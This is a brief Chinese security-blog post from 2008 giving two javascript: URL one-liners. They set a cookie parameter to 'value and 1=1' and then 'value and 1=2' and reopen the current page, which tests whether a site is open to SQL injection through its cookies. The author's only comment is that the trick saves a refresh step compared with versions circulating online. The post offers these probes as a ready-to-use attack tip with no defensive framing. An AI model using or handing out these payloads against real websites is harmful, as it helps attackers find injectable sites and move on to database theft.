判断cookies注入的js语句 - 影子鹰安全网络-主站技术BLOG

判断cookies注入的js语句 [ 日期：2008-03-08 ] [ 来自：影子鹰 ]

javascript:alert(document.cookie="参数= "+escape("参数值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0);
javascript:alert(document.cookie="参数="+escape("参数值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0);

哎，还是在新窗口打开了，不过比网上流传的省了一步刷新和返回了。

[ 字体大小：大中小 ]

引用通告地址 (24)：
复制引用地址

http://www.cnyzy.cn/trackback.asp?tbID=717
复制引用地址

http://www.cnyzy.cn/trackback.asp?tbID=717&CP=GBK

请不要吝惜您的评论，每一条评论，都是我在漫漫长夜前行的力量...